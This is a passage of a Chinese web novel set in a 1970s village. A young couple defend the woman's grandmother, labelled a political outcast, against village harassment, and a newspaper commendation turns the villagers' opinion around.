现在最重要的是要想出怎么帮温向荣摆脱黑五类身份的方法,不说恢复以前的荣誉,但最起码也要让她能够过上安安稳稳的日子。 生病可以治病,出行不受限制,也不用再受人白眼。 季白青已经大概想好了对策,就是可能要委屈温淼一段时间。 念此,她揉了揉温淼的发,轻声道:“没事,相信我,奶奶的事很快就能过去了。” 温淼有些疑惑地抬头看她一眼,季白青没有解释,只是让她快午睡。 温淼和温向荣的祖孙关系经过一天的时间已经在全村都传开了。 别的不说,但是温淼以为的能够为季白青承担一半火力的场景却是真的没有出现。 因为村民才不会管季白青和温向荣之间到底有没有血缘关系。 在她们看来,温淼和温向荣是祖孙,温淼丝毫不避嫌,那就是坏分子。 而季白青和黑五类走得近,更不是什么好人了。 只是从针对一个人变成针对两个人而已。 李雯雯听到这个消息的时候都算是晚了。 办公室里就剩下两个人的时候,她看着温淼,最后还是将自己的疑惑问出了口: “温老师,村里说小石村的黑五类是你奶奶,真的假的?” 正在看课本的温淼闻言一愣,抬起头来回答:“真的。” 李雯雯眼睛瞪大,呐呐:“我还以为是她们胡说的呢。” 不过仔细一想,也对。 如果不是因为对方是温淼的亲人的话,季白青怎么可能这么不在乎别人的说法,还去帮那个黑五类干活啊。 她有些难过,轻声对她道:“温知青,你别难过,村里人就是爱揪着这些东西不放,再过一段时间就好了。” “不过……你们还是要注意点,别让别人使坏。” 听了她的话,温淼的心一暖。 其实学校的老师都比村民要明事理一些,同时看不惯温淼的人也不少,听到了与温淼有关的事情后看她更是鼻子不是鼻子,眼睛不是眼睛的。 还会说一些阴阳怪气的话,不过温淼一般也不放在心里去。 但大部分的老师还是选择不动声色地同她拉远距离,此时李雯雯能对她说这些话,温淼还挺感动的。 她轻轻点头,“谢谢你,雯雯。” 李雯雯担忧看了眼她,摇了摇头。 今天下午只有一节课,温淼提前回去了。 出学校的路上不乏见到一些学生,大概是被叮嘱过,学生看到了温淼后就纷纷跑到一边去,离她远远的。 温淼长得漂亮,性格还算温柔,在学校里也能称得上是受欢迎,在这之前很多小孩都喜欢她,而现在那些小孩却对她避之不及。 前后的差距对比实在是太大,温淼抿了抿唇,只能强迫自己不要去多想。 她往校门口走,路过一个小男孩后,小男孩却突然将手上的石头砸向她的后背。 温淼疼哼一声,再转过头去的时候罪魁祸首对她做了个鬼脸。 “坏分子!砸死坏分子。” 她深吸一口气,快步走到小男孩面前,没让他跑掉。 重重在他的屁股上打了两巴掌后,小孩尖利的声音响起来:“呜呜呜呜!坏分子要打死我了!我回去告诉我娘!” 温淼将他放开,声音不大不小:“下次还敢乱打人,我还是会教训,告诉你娘我也照打不误,反正我是坏人。” 说完,她扫视一圈四周,和她对上视线的孩子身体一抖,连忙低上眼。 温淼沉着脸往外走。 别人说她的闲话她管不了,毕竟嘴长在别人的身上。 但这不代表温淼就会让自己随便受别人欺负。 她不是软包子,更何况要是被季白青知道自己没有还回去,她肯定会不高兴。 背上被石头砸到的那一处还发疼,温淼到家后对着镜子捞起衣服,侧头往后看,雪白的后背上挂着一抹淤青。 简单擦了点药,她开始做饭。 今天下班早,她便想着早点做饭,给温向荣也送一份过去。 做好饭,她提着饭盒往小石村走,却刚好碰上了急匆匆往外走得钱婶。 钱婶见着温淼后眼睛一亮,连忙上前将她拉住: “温同志啊,可算是找到你了!” “你家季同志和别人打起来了!” 闻言,温淼脸上有些着急,跟在钱婶身后往晒谷场走。 到地方的时候,晒谷场已经围了一圈的人了。 “快还手啊!” “怂包,连个女人都打不过。” 大多数人都在看热闹,也有人在劝:“别打了,快别打了!” 钱婶拉着温淼挤到最前方,温淼一眼看到季白青一拳又一拳地压着地上粗狂的中年男人揍,提着的心微微放下。 好在不是她吃亏。 一边钱婶看得着急,连忙对温淼道:“温同志,你快劝劝季同志啊!不能再打了!” 温淼这才反应过来,让钱婶帮着自己拿饭盒,走到了季白青的身边。 她握着季白青的手腕,担忧道:“阿青,快停下来。” 原本眼睛发红的季白青听见她的声音,这才停下来,最后踹了男人一脚,站直了身体,喘着气。 温淼扫过她的拳头,都红了,一时间更是心疼。 众人也没想到原本打红了眼的季白青这么轻易就被温淼劝好了,看向温淼的眼神中带了几分震惊。 温淼没将那些视线放在心里,只是紧紧握住季白青的手,怕她又冲动。 钱婶上前,给身边*的人使了个眼色,立马有人将中年男人扶起来。 对方被打得鼻青脸肿,看起来颇为滑稽。 钱婶这才问:“你们好好的,怎么打起来了?” 季白青嫌恶地在裤腿上擦了擦手。 冷冷道:“让他说。” 钱婶看向男人,男人嘴唇嗫嚅,半天挤不出来一个字。 温淼暗中掐了季白青一把,季白青这才指了指一边的粮食和锅,开口:“这人去偷别人的锅,还抢别人的东西,动手打我奶奶。” 今天下午,季白青不过是多洗了会儿手,温向荣先一步回去了。 季白青还了农具后想去看看温向荣,便看到了男人正在对温向荣动手,每一次都还打在温向荣骨折的那条腿上。 嘴上说着不干不净的话。 此话一出,男人摸了摸唇边的血,哑着声音道: “不过是个黑五类,有什么好傲的!” “谁知道她的锅和粮食是不是偷的。” 季白青听得拳头握紧,温淼拉住她,自己上前一巴掌打在男人脸上。 “她的是不是偷的还不知道,但你肯定是偷的,也不知道偷过多少东西。” 温淼看向小石村的村民们,淡淡道:“大家家里的东西丢了,没准就是这人偷的,毕竟偷东西还这么理直气壮,肯定是惯犯!” 此话一出,众人看向他的眼神一变,捂着嘴窃窃私语,说着什么。 男人的脸涨红,“你少给我胡说!我拿黑五类的东西不过是替天行道而已!成分不好的人凭什么能过那么好!” 【作者有话说】 又没写完啊—— 在群里和其她百合作者聊天,因为码字提到了腱鞘炎,然后就陆陆续续有老师出来承认自己有腱鞘炎 没有对象但有腱鞘炎,很地狱笑话了,不过我没有(骄傲挺胸) 感谢投雷和营养液,感谢评论订阅收藏 80 第80章 ◎有点累◎ “呵呵,我还是第一次见有人能这么不要脸,把偷东西说成是替天行道。” 季白青被这男人的话气笑,刚上前一步,对方被打怕了,下意识紧闭上了眼睛,大着声音虚张声势: “你、你别过来!要是再敢打我的话,我绝对不会放过你的!” 钱婶看着他的眼神也有些一言难尽,她原本还以为是男人和季白青发生了口角争执这才打的架,没想到他居然胆大到敢偷人家东西,还动手打人! 她声音微沉:“好了,偷东西是不对的,打人也不对……” 钱婶的话说到了一半,突然被姗姗来迟的村长打断。 “行了,不就是一点小争执,算是什么事,季同志你给他道个歉就算是过去了。” 季白青抬头看了眼村长,一时间怀疑是自己听错了。 她指了指自己,一脸疑惑:“你是说我给他道歉?” 村长理所当然点头:“你看看你把他打成什么样了!” 男人有了人撑腰之后,站直身体,嚣张道:“就算是这个女人给我道歉我也不会原谅她,得给我赔礼才行!” 村长瞪他一眼,他才停息嚣张气焰。 钱婶在一边有些不赞同地点头,刚想说什么,村长再度开口:“按理来说,温向荣的东西确实是来的没有缘由,没主的东西拿走自然是不算偷,更何况丫头你下手那么重。” 季白青深吸一口气:“锅和粮食都是从我家拿过来的,那就是我的东西,他随意拿走我的东西就是偷。” “她对我奶奶下手的时候也没有收着力,我对他的态度自然是一样。” “想要我道歉?做梦。” “你!”村长嫌少被人驳回面子,此时伸出手指着她,有些气急败坏。 季白青白眼一翻:“我什么我,我又不是你们村的,你少管我。” 她弯腰拿着锅和粮食,站在原地环视四周:“今天我把话放在这了,要是谁还敢欺负我奶奶,别怪我到时候不客气。” 她声音不大不小,但可以保证在场的人全都听见。 众人鸦雀无声之时,季白青拉着温淼回牛棚。 等到人走了,议论声才纷纷响起。 “这个女同志也太嚣张了吧!” “跟着黑五类混,迟早遭报应,小心哪天遭雷劈,全家都遭殃!” “就是,年纪轻轻不学好,以后能够有什么出息!” “可是明明是伍老三先犯错的。”一个姑娘呐呐开口,可声若蚊蝇,一开口就淹没在了讨论声中。 温淼手上拿着饭盒,看着季白青面无表情的侧脸,强打精神安慰她: “阿青,没事的,有了你的话她们之后肯定就不敢再对奶奶怎么样了。” 季白青一想到刚才村长不分青红皂白就帮伍老三说话的行为,内心就膈应。 听了温淼的安慰后,也劝自己:“没事,她们有人的心都已经烂透了,是非不分、看不清黑与白了,我们都别和她们计较。” 温淼点了点头,心里也有点担心温向荣的状态,犹豫问:“奶奶伤得重吗?” 季白青摇了摇头,“还好我去得早。” 这些人对老年人都能下得去手欺负,季白青有时候怀疑他们是不是人。 到了牛棚,好在土灶还好好地立在原处,季白青去捡了点柴,供温向荣之后用。 温淼则是检查了温向荣身上,没见着什么伤口才放下心来。 温向荣蹙眉,“刚才小季就是太冲动了,偏偏要动手。” 明明她忍一忍就可以过去了。 温淼低头将饭盒打开,没有说话。 她不知道要怎么说才对,毕竟她不希望温向荣委屈受伤,也不想要让季白青的名声一跌再跌。 可她的力量太小,好像什么都没法改变。 温淼突然感觉到一阵无力。 等到季白青捡完柴火回来后,温向荣吃的差不多了。 她们让温向荣休息时将门锁好,便一起踩着斑斓的夕阳往回赶。 路上,季白青才发现温淼的眼眶微红,如果不注意看根本察觉不出来。 她动作一顿,停在了原地。 “怎么了这是?我们淼淼又委屈了。” 季白青偶尔会觉得,温淼的名字没有取错。 名字里带着那么多水,平时流的水也很多。 爱娇、爱哭。 温淼摇了摇头,不想要她那么辛苦还要分出精力来哄自己。 她主动挽住季白青的胳膊,“没有,刚才好像有小虫子飞进了眼睛里,揉了好久。” 傍晚,确实有很多叫不出名字的小虫子跟在人的身后跑,一不留神就被圈进眼睛里了。 季白青没有怀疑这说法。 到云水村的时候,季白青原本是想要直接回家的,突然感觉隐约听到了她娘何香月的声音。 有些疑惑地和温淼对视了一眼,季白青问:“你听到了我娘的声音了吗?” 温淼竖起耳朵,认真听了会儿,最后点头。 好像还真是何香月的声音,这么晚了不回去又是在和别人吵架吗? 顺着声音来源,两个人在仓库找到了何香月。 何香月身边站着季伟,面前是记分员和村长李向东,周围还围着一圈人正在看热闹,都没有意识到温淼和季白青来了。 走进,季白青才看清楚她娘正在指着记分员和李向东的鼻子骂。 “你们两个黑心肝的玩意儿!最近天天给我们妻夫俩分配重活儿就算了,竟然还敢少记我们工分!我和我家老季一天累死累活的,到你们这还要被欺负,有没有天理了?!” “李向东你个生儿子没屁|眼的东西,信不信惹怒了老娘老娘拉下这长脸去把你家的锅碗瓢盆都给砸了!” 她的嘴巴毒,骂人的话一串一串往外冒,跟把机关枪似的,李向东个五十多岁的人在她面前被骂得像个孙子。 偏生何香月旁边还站了个又高又壮的季伟,黑着一张脸,又长手长脚力气大,没人敢上前招惹。 李向东抹了把额头上的汗,苦口婆心道:“你们俩不容易我知道,但是工分必须得扣!” 何香月气红了脸,直接挠了他一爪子,“你告诉我为什么要扣!” 李向东没想到她竟然真敢对自己动手,瞬间怒了,呵斥道: “你家那两个,一个是黑五类孙女,一个天天跟黑五类干活!你就说,村里那个像你家这样?!不扣你们的工分扣谁的?!” “赶紧和黑五类划清界限吧!天天和牛鬼神蛇混在一起,给我们村丢人!” 说完,他一甩手,转头对记分员道:“再给何香月扣两工分!什么时候和黑五类划分界限了什么时候再给回满工分!” 何香月气得啊,直接拉住李向东,啪啪又是给了他两个大巴掌。 季伟在一边默不作声地给自己媳妇帮忙。 最后李向东肿着一张脸出去的,路过季白青她们,重重地哼了一声。 这场闹剧结束,不少人都有些意犹未尽。 转头后看到季白青和温淼更来劲了,调笑道: “哟,吃里扒外的东西回来了?” “要我说难怪这季家闺女不好,娘爹没教好,又是搞同性恋,又是跟黑五类混的!” 何香月这才发现原来她们也在,一时间有些尴尬。 她瞬间冲到了她们面前,恶狠狠地盯着看热闹的人群,挡着温淼和季白青,像是一只护着崽子的母鸡。 “再给老娘说一句!看老娘不撕了你们的嘴!” 闻言,众人撇了撇嘴,纷纷散开。 何香月这才小心翼翼地看着面前的两个大闺女,“你们什么时候来的?” 季白青知道她在温淼面前还有些偶像包袱,不愿意让她看到自己的泼辣形象,便道: “刚来没多久,你们吵什么呢?” 何香月松了一口气,白眼一翻:“那老不死的突然发神经,我教训他一顿,气死老娘了。” 一转眼看向温淼,她放轻了声音。 “这么晚了,快回去吃饭吧,淼淼饿了没?” 温淼抬头,松开握紧的拳头,故作轻松露出一抹笑,乖乖点了点头,被她高高兴兴带着往家走。 季白青跟季伟走在后面,幽幽地看着前面不是母女却胜似母女的两人。 一直到吃完晚饭,她们都没说什么。 趁着温淼去洗澡的功夫,季白青再次懒洋洋地提出了先前被驳回的办法。 “娘、爹,我之前说过,只要对外人说我们断绝关系,以后你们就不会被我们影响了,真的不愿意试试吗?温奶奶那边的问题没多久就能被解决了,到时候你们还是我的好娘爹。” “断绝关系后我和淼淼搬去新房子那边住就行。” 何香月和季伟对视一眼,两人面色都有些无奈,答话的时候也正色起来。 “哪有这种道理?难不成我们名声坏了你会和我们断绝关系?既然你说了没多久温婶子的事情就能被解决,那这么点时间,我们等得起。” 她哼了一声,“难不成村里还有谁敢惹我?” 泼辣程度何香月在村里敢称第一,没人敢称第二,更何况还有个无脑护着自己媳妇的季伟在。 季白青崇拜地看着何香月,“何香月同志,你可真厉害。” 何香月翘起嘴,“行了,我们用不着你们担心,你们俩先把自己的事情处理好再说!” 温淼很快洗完澡出来,母女也没再继续说下去,换季白青去洗澡。 她回房间的时候,恰好看见温淼正在对着镜子给后背上药。 白皙如玉的后背上,多了一抹刺眼的青痕。 季白青原本轻快的神色一凝,快步上前查看:“这是怎么弄的?” 听到开门动静的时候,温淼想要把衣服放下来已经晚了,她没料到季白青今天洗得那么快。 她原本不想要季白青担心的,不然也不会背着她偷偷处理。 此时被季白青捏着衣摆,她随意找了个理由:“不小心撞到柜子上了。” 季白青声音微冷:“哪来的柜子柜角刚好到你后背的高度?” 家里的柜子要么高要么矮,更何况那块於痕也并不规则。 温淼有些丧气,她怎么什么都知道? 见瞒不过她,温淼只能如实开口:“被学校的小孩砸的。” “不过我已经打过他了,当着别的学生面教训的,以后这种事情不会发生了。” 季白青一言不发地给她擦药,那块青痕实在是过于刺目,以至于躺在了床上,她还对此耿耿于怀。 要不然先不去学校了,请假亦或是辞职,季白青想要开口这样对她说。 但是话到了嘴边却怎么也开不了口,在学校教书是现在对温淼来说最适合的职务了,没那么辛苦,也能够为明年就恢复的高考做一定的准备。 温向荣的事情很快就要被解决了,无论是她还是温淼,只要再挺一段时间。 两人躺在床上,一时间都没有说话。 季白青将人抱拢了一些,问:“今天没有话要和我说的?” 温淼摇了摇头,细声道:“累。” 今天累了吗?以往再累都会在睡前和她说一会儿话的。 季白青沉默了几分钟,一直在等着温淼开口。 但是怀中的人没睡着,也没有说话。 季白青闭上了眼睛,也不再执着。 她也累了- 因为季白青下手打了伍老三,流传在云水村和小石村之间的流言越演越烈。 无论是谁同季家走得近都会被人嘴上念叨着批评几句,久而久之就没什么人敢靠近她们了,是忌讳到见着一家人几乎要绕道走的程度。 季白青和温淼倒是不在意,只是何香月最爱找人唠嗑了,现在的情况下只能闷在家里,对着季伟那个闷葫芦。 温如嫣倒是偶尔来陪她说说话,和她一起纳鞋垫子。 唯一值得庆幸的是有了伍老三被揍的经历在前,没有人再去敢欺负温向荣了。 或许是那天的话刺激到了小石村村长,他给温向荣穿小鞋,安排的活又脏又累,光是挑粪季白青也跟着去体验了几天。 那几天身上臭得她怀疑洗都洗不干净,也就温淼不嫌弃她。 何香月看着她都得捏着鼻子走。 何香月和季伟的活也不轻松,到底还是被李向东记恨上了,给她们安排的活比给知青安排的还要琐碎繁重,最重要的是工分也拿不满。 温淼知道这回事,后来将自己的小金库里拿出来五百给何香月,何香月却不肯收。 季白青也给过,何香月还是不收。 用何香月的话来说就是,还能干的母父怎么能够拿女儿的钱。 拗不过她,季白青只能将钱收起来。 不过她确实也着急了些,将想出来的法子完善,想要早些将事情拉入正轨。 但意料之外的事情还是出现了。 季白青中午刚下工,此时和家门口突然出现的女人大眼瞪小眼。 许云对她一笑,“你好,你就是季白青同志吧?” 季白青点头,“请问是有什么事吗?”怎么都找到家里来了? 确认自己没有认错后,许云眼中笑意加深,对她介绍自己: “季同志,我是报社的记着许云,前段时间县里收到了一封感谢信,是感谢你从人贩子的手里帮她们救回了孩子,上面就派我来找你聊聊,咱们做个访谈,之后会登报。” 闻言,季白青眉眼舒展开。 所以是杨彦给她寄了一封感谢信,报社就想来给她做个专访? 不过她其实有些纠结,毕竟帮杨大娘将她小孙女找回来不过是因为她不希望一个完整的家庭被破坏而已,当时做这件事的时候她并没有多想什么其它的。 偶然的一次善事,她不太想要放出来任人讨论。 她正想要拒绝,突然听见身后有人小声蛐蛐:“怎么有人来找季白青啊?她不知道季白青是坏分子吗?” “就是啊,这个女同志也该也不是什么好人。” “该不会是来把季白青和那个温知青给抓进警察局里的人吧!” 季白青:“……” 她瞬间改变了主意,“好啊许同志,我们进去吧。” 她转过头去,提高声音,笑眯眯道:“我啊,做了好事,马上要登上报纸了,也不知道你们有没有人能够有机会上报纸呢。” 说完,没再看她们脸上的难看表情,季白青让许云进屋里说。 两人一来一回简单聊了几句,温淼给她们倒了水,又拿了些吃的出来摆着,听闻季白青的事迹会登报,有些好奇地撑着脸在一边听。 最后纪录结束时,许云拉起袖子看了眼时间,季白青见她手上的表觉得有些眼熟,一两秒后终于想起来眼熟在哪了。 她扬眉有些诧异,“许同志,你认识尚敏同志吗?” 许云一愣,“你也认识小敏?” 季白青弯弯眼睛,“我和尚厂长是朋友。” “那真巧。” “来,给你再单独拍一张照片。” 许云举起相机,对准她。 季白青想了想,问:“能放我和我爱人的合照吗?当时她也出了一份力。” 许云欣然答应,按下快门,将两人这一刻的影像定格。 不得不说,两个人站在一起真的很相配。 等着她要离开,季白青将她送到门口,问:“许同志,这期采访什么时候出来?我想去买几张报纸回来收藏。” 许云想了想,现在是中午,回去将材料整理一番,再加写稿印刷,最快也要后天了。 “后天吧,我可以给你留一份出来。” “不用,谢谢许同志,我自己去买就行,买几份报纸的钱我还是有的。”她一笑。 后天,刚好去杀猪,回来就顺带带回来几份报纸,让何香月和温向荣乐呵乐呵,再往村前村后都贴一份,让村里其她人好好看看。 她们说她是坏分子又怎么样?她可是登上报纸了诶。 村里除了她还有谁能够登上县里的报纸? 【作者有话说】 还有六章左右,就进入另一个情节啦,忍忍,马上就不那么气了 主要情绪需要慢慢递进,不然一下过去我写的很乱很ooc 我真的很喜欢阿青妈妈,泼辣是为了保护自己和家人呀~ 感谢投雷和营养液,感谢评论订阅收藏,还欠一千字! 有没有发现本章字数的小巧思[狗头叼玫瑰] 80-90 第81章 ◎老婆,救救◎ 许云预料的时间果然没出错,季白青在食品站卖完猪肉下班后,去报刊亭一看今天的报纸,报纸第一页的一整页都印着对她好人好事的表彰报道。 最中间还覆上了一张她和温淼的合照。 报刊亭的大娘戴着眼镜,见到她后睁大眼睛盯着她的脸。 “哟!你就是帮警察同志找出人贩子的那个姑娘!” 季白青点了点头,见大娘一脸新奇像是想要拉住她多说,她迅速买了六份报纸后脚底抹油般跑了。 丝毫不给大娘反应的时间。 其实那份报纸季白青也没有仔细看,毕竟那么大段文字都是夸她的,她总觉得不大好意思。 但买肯定还是要买的,不仅要买,还要多买点。 如果不是条件不允许,她甚至想放个喇叭循环播放报纸上对她好人好事的褒奖,让村里那些人都听好了! 回到了家,季白青抽出一份报纸给何香月她们看,指着上面的两张照片,笑眯眯道:“娘,你看我和淼淼上报纸了。” 被采访那天何香月她们下工晚,并没有碰上。 此时看着被印在报纸上的两人,她的眸中泛着光。 虽然不认识几个字,但还是将报纸拿起左看看右看看。 等到看满足了,又让季白青将这篇表彰读给她听。 季白青:“……” 她摸了摸鼻尖,求救的视线落在温淼的身上。 老婆,救救。 温淼眸中零散的笑意溢出来,主动接过了何香月手里的报纸。 “婶,我来给你读吧。” 听着温淼读得表彰内容后,何香月笑眯眯的,像是突然年轻了十岁。 “写的可真好!”她连连夸赞。 随后又让温淼给她再读了几遍。 季白青都不敢听,随便找了个借口回了房间。 不过虽然觉得尴尬,但该给村里其她人看的还是得给她们看。 季白青下午将报纸在村前村尾都贴了一张,剩下的一张则是贴在了李向东的门前。 李向东一开门就看见了墙上贴着的报纸。 他愣了一会儿,凑上前发现只认识寥寥几个字,便对着屋子里喊: “雯雯,你出来看看!” 李雯雯被他喊一嗓子,急匆匆出门。 “怎么了爹?” 李向东指着墙上的报纸,“这上面写的什么东西?” 李雯雯看了眼,没憋住笑,一下笑出了声。 她没想到季白青这么记仇,上了报纸竟然还要将报纸贴在她家门口。 李向东纳闷,“你笑什么?” “咳咳,”李雯雯清了清嗓子,“爹,我给你念念吧。” 字正腔圆念完之后,李向东才终于发现被文字包围的照片上的脸有些熟悉,可不就是他看不上的温淼和季白青么! 他的脸一阵青一阵红,低头暗骂一声。 “那丫头贴我们家门口干什么?!” 难不成是炫耀?他又不会羡慕她! 李雯雯委婉开口:“或许是在告诉你,她做的好人好事上了报纸,所以她不是个坏分子。” 能够上报纸接受表彰的,可不都是被上面认可的、值得学习的模范! 方圆十里,除了季白青还有哪个上过报纸! 【作者有话说】 抱歉,今天的状态特别差,而且就最近会有一个很重要的转折节点,从七点到现在删删减减就只能写出来这么多内容。 创作真的很吃状态,有时候写不出来真的一点也没有办法,或许是最近作息太乱了才让心情也变得很坏,但或许这些都只是我不想写的借口,没有更到以往的字数才是事实。 今天会把情节好好捋一捋然后早点睡,争取之后写的更加顺畅一些,今天所欠下的字数也会在后面陆续补上的。 再次说一声抱歉(鞠躬) 会发100个红包补偿,感谢投雷和营养液,感谢评论订阅收藏[抱抱] 82 第82章 ◎醋味◎ 说完,李雯雯也不顾李向东的表情,又去村口看了看。 村口的大榕树边也围了一群人,她来得往,只能站在后排。 看着熟悉的报纸的边缘,李雯雯才发现原来季白青不只是在她家贴了,在村头也贴了。 “这是什么东西,谁贴的?” “季家那个丫头吧,我刚才远远地看着她在这边站着,没敢过来。” “上面的照片……是她和温知青啊?” 李雯雯挤上前,笑呵呵道:“婶叔、大娘大爷们,我识字,刚好我来给你们念念。” 村里天天在传着季白青和温淼的流言,一群人孤立季家,甚至自己亲爹还针对季家人,李雯雯早就看不下去了,不过是一直把情绪憋在心里。 此时能有机会让村里人对季白青她们改观,她自然是愿意多出几份力的。 将报纸上的内容读完,围着她的一群人听后都惊呆了,满脸震惊,一时间面面相觑。 不是说季白青是和黑五类混在一起的坏分子吗?怎么坏分子还登上了报纸,被表扬了?! 一个大娘忍不住开口了,问李雯雯:“雯雯,你告诉大娘这是真的假的?该不会是季白青那丫头随便贴了个东西就来糊弄我们吧?可别是欺负我们不识字” 李雯雯指着上面“溪亭日报”的报纸名称,耐心解释:“大娘,你看这是我们县里的报纸,这是真的,白青她就是登上报纸被表扬了。” 她挺直了腰板,声音清亮:“季白青同志既然愿意在火车上给陌生人搭把手,还帮着乘警一起抓到了人贩子,那她肯定不是你们说的什么坏东西。” “她是好人!” 这话落下后,村里的人一品,都觉得李雯雯说的好像没错,坏分子只会害人,可季白青却是实打实地帮了别人,最重要的是现在还受到了表彰。 人群中的讨论声渐渐大了起来。 “其实季家丫头人挺好的,之前看我半道上没力气了,背不起柴,还特意帮我背回家去。” 不知道是谁最先夸了季白青一句,后面的人也纷纷出言附和。 “对啊,其实我之前也觉得对不住她,她和温知青每次见着我都和我打招呼,人很有礼貌的。” “而且这姑娘干活卖力,从来不占别人便宜。” “我就说她是个好同志,你们偏偏要说那些难听的话!” “我呸,你看就属你说季家丫头和温知青的坏话最多,现在还给我装上蒜了!” …… 众人议论纷纷。 先前有人看到许云去季家采访,还不相信就季白青那么个坏分子居然还能够登上报纸。 但是真的看到了报纸上的报道后,所有人都不约而同地改了口,那些不愿意相信的人倒是还在继续说着她们的不好,只是被更大的声音压下去。 仅仅是当天,一张报纸就将让村民们对季白青和温淼她们的评价扭转,原本整天说着她们坏话的人像是失忆似的,又开始念着她们的好。 路上见着温淼和季白青后,村民们也一改以往避之不及的状态,主动和她们打招呼。 就连何香月走在路上,也会莫名其妙有人上来给她一句夸。 “香月啊,你真是养了个好丫头!” 何香月定睛一看,面前的人可不就是先前说她生了个赔钱货,净给她惹事的王丽么! 这么快就改了口,也是难为她了。 何香月笑眯眯地应下,“对啊,我就是生了个好姑娘,我家姑娘可是登上了报纸,瞧瞧,我现在可高兴了。也不知道你儿子什么时候能上。” “唉,像是你儿子那种赔钱货,生下来养大做的也是赔钱买卖,又不能上个报纸让你脸上有光。” 她说完,看着王丽变得难看的脸色,心里才畅快起来。 让她们先前还对自己阴阳怪气的!现在倒是知道对她说好话了。 她白眼一翻,错过王丽往家走。 回了家,在饭桌上,何香月觉得分外解气。 将刚才的经历同季白青说了后,笑着开口道:“你这个报纸真是登对了,现在全村上上下下,谁还敢给我们脸色看。” 何香月的这个说法虽然夸张了一些,但却是真的。最能体现这一点的便在于李向东安排给何香月和季伟的活上。 原本都是给她们安排的重活和累活,自从季白青被登报表彰后,李向东即使对她们家再看不惯,还是得捏着鼻子给她们安排上轻便活。 原本的五分工分也都改成了满分工分。 季白青其实也没有想到,上个报纸的效果那么好。 原本她的目的只是想要气一气那些看热闹的人,没想到最后这表彰还真是给她帮了不小的忙。 不止是在云水村这边,就连小石村的村民听闻了她的事迹后,连带着对温向荣的态度都好了些,托了那篇报纸的福,季白青和温向荣每天干的活也轻快了些。 不过更多人还是选择劝季白青早点醒悟,不要整天都和一个黑五类混在一起。 这些话温淼也听了不少,但季白青早就对她耳提面命过,不许在意这些话,温淼只能听她的。 但今天中午,季家就她一个人。 几个村里血缘浅季家本家的长辈找上她。 两女一男,三个人上家里的时候温淼刚从学校回来没多久。 见着她,头发霜白、拄着拐杖的老夫人声音低沉:“温知青。” 温淼认识她,是季家族里德高望重的老太太。 她上前扶了一把,“阿婆,你来是有什么事吗?阿青和婶子她们还没回来。” 季阿婆摆了摆手,扶着她的两人倒是先开了口。 “温知青,阿婆就是来找你的。” “是啊,白青现在的名声好不容易好了点,我们老季家难不成还能又让它坏了?这不仅是季白青的名声,更是代表着我们季家。” 季阿婆开口:“温知青,你和白青的事本来我们就不太同意,你和白青终归不是一路人,早一点分开,对谁都好。” “你奶奶的名声已经坏了,难道你也想要白青的名声彻底坏了吗?” 温淼一怔,没想到她们也是来说这些事的。 她垂眸,没露出慌乱的神色,只是淡淡道:“阿婆,我不会和阿青分开的,这件事还是你们去劝她好了。” “既然没有其它事,那我先去做饭了,你们慢走,我就不送了。” 说完,她不顾在场另外三人的脸色,去了灶房。 虽然她嘴上说得坚定,但温淼却还是将这些话都记在了心里。 她和季白青……真的不是一路人吗? 吃了饭,房间里温淼有些纠结地看着季白青。 被她用欲言又止的眼神看着,季白青挑眉,“怎么了?” 温淼的手不自觉握在一起,慢吞吞开口:“阿青,现在奶奶的活轻松了很多,你继续去黑市做生意吧,以后我去帮奶奶干活。” 她这段时间也跟着温向荣和季白青做了不少农活,自觉虽然辛苦,但也能够坚持下去。 没有了季白青,她帮着温向荣干活也可以搞定。 季家族老有些话确实说得没错,现在季白青的名声好不容易好起来了,不应该再被她和温向荣影响。 季白青不知道她内心的纠结,听了这话想也没想就拒绝了。 “你不是每天都要去上课?哪来的时间干活?” “别想,我现在不忙,每天帮奶奶干活也不累,就当是锻炼身体了。” 而且这段时间天气逐渐热了起来,温向荣脸上的伤口必须少见太阳,太热的时间段季白青都是直接让她回家,不然不利于养好伤口。 别的不说,至少要让伤口全都结疤,这样才能降低继续发炎的几率。 不过现在也就剩下温向荣那条贯穿上下脸的伤疤依旧发炎,实在是伤得太深了,必须要好好修养一段时间才能完全好起来。 温淼也猜到了自己的建议会被季白青反对,但内心还是有些挫败。 仿佛看出来她内心的想法,季白青在她身边坐了下来。 “好了,乖蓁蓁,别多想,事情很快就会好起来了,相信我。” 被炽热的手掌握住,温淼的手微微一缩,头一次没有主动回扣。 她有些心烦意乱地抽出自己的手,低低应了一声。 “我困了,想睡一会儿。” 季白青一愣,看她上床躺下,抿住唇。 她有些失落,只能在心里安慰自己,温*淼肯定不是故意的,现在确实也到了她每天习惯的午睡时间。 温向荣的事,她已经想好对策了,只需要等一个时机,就能快速解决。 她从抽屉里找出信纸,给远在京市的陆霁写信。 将托付给陆霁的事写清楚后,季白青将信纸叠好,放进口袋里,等着明天去镇上的时候寄出去- 陆延早就收到了陆老爷子寄来的信,拆开信封时,他更多的注意力放在和信附在一起的钱和粮票上。 数完后,发现数目还是同以往的一样,他有些烦躁,踹了一脚书桌。 砰的一声,原本就破旧的书桌现在更是显出摇摇欲坠的姿态。 陆延黑着脸,又将桌子往墙边推了推,固定住才打开信看完了信上的内容。 他爷爷和他爸说要让他弄死温向荣。 陆延更烦了。 他从小被陆老爷子带在身边,在军区大院长大,年纪小的时候欺负同个大院的孩子被温向荣撞见了,最后被她脱下裤子好好教训了一顿。 从那以后,他一见到温向荣就发怵,提到她的名字就会做噩梦,可在大院里又总碰上她,没多久就哭着要他娘爹接回去,最后陆母陆父没办法,只能让陆霁在陆老爷子身边陪着,两人带儿子。 长大后,陆延就再没见过温向荣,连她长什么样都忘得一干二净,只是内心仍存留对她的恐惧。 现在突然让他来对付温向荣,他很抗拒。 更何况他也不知道温向荣在哪,整个溪亭县这么大,他从哪找去。 这封信看过后,就很快被他丢在了脑后。 反正他远在潇南,陆老爷子和陆父不知道情况,就算是知道也没办法过来教训他。 但他没有想到,过了一段时间就听到了季白青和黑五类混在一起的消息。 他第一时间是幸灾乐祸,上次被她揍了,陆延默默将这个仇记在了心里,没想到他还没有开始报仇,季白青偏要自寻死路。 几天后,沈念念也来给他传信:“陆延哥,我打听到了,原来季白青每天去帮忙的黑五类是温淼奶奶!” 闻言,陆延有些惊讶。 温淼奶奶? 原本陆延还不清楚温淼的家世背景,一直到春节回家探亲才发现,原来温淼便是温向荣早逝的女儿的孩子。 所以温淼的奶奶说的就是温向荣? 那可真是,得来全不费工夫。 他觉得肯定找不到的人原来就在隔壁村。 想到这,陆延勾起了唇,笑得有些幸灾乐祸。 